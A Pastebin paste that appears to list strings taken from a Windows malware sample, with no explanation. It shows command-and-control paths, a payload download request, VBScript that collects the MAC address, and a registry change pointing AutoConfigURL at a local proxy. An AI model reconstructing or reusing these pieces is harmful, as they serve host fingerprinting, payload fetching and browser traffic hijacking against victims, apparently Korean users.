Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- http://
- /ca.php
- ?m=
- &h;=
- GET
- ?p
- POST
- users.qzone.qq.com
- GET /fcg-bin/cgi_get_portrait.fcg?uins=
- HTTP/1.1
- Host: users.qzone.qq.com
- Connection: keep-alive
- Accept: */*
- User-Agent: Mozilla/5.0 (Window
- www.naver.com
- 0.0.0.0
- .com.ore
- .kr
- .kr.ore
- ET
- step_down.php?key=b65668d36922c820
- HTTP/1.1 200 OK
- Accept-Ranges: bytes
- Content-Type: text/plain
- Content-Length:
- VBScript
- Function MACAddress()
- Dim mc,mo
- Set mc=GetObject("Winmgmts:").InstancesOf("Win32_NetworkAdapterConfiguration")
- For Each mo In mc
- If mo.IPEnabled=True Then
- MACAddress= mo.MacAddress
- Exit For
- End If
- MACAddress
- WinHttp.WinHttpRequest.5.1
- Open
- Send
- responseBody
- Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\AutoConfigURL
- http://127.0.0.1:
- CreateObject("Scripting.FileSystemObject").CopyFolder "{tmp}","{tmp_}"
- AddCode
- Applications\\zipfldr.dll\\NoOpenWith
- regsvr32 /s zipfldr.dll
- zip
- Error
- Sub run(ByVal A, ByVal B)
- Set fso = CreateObject("Scripting.FileSystemObject")
- If fso.GetExtensionName(B) <> "zip" Then
- Exit Sub
- ElseIf fso.FolderExists(A) Then
- FType = "Folder"
- ElseIf fso.FileExists(A) Then
- Line
- ConnId
- ProxyId
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement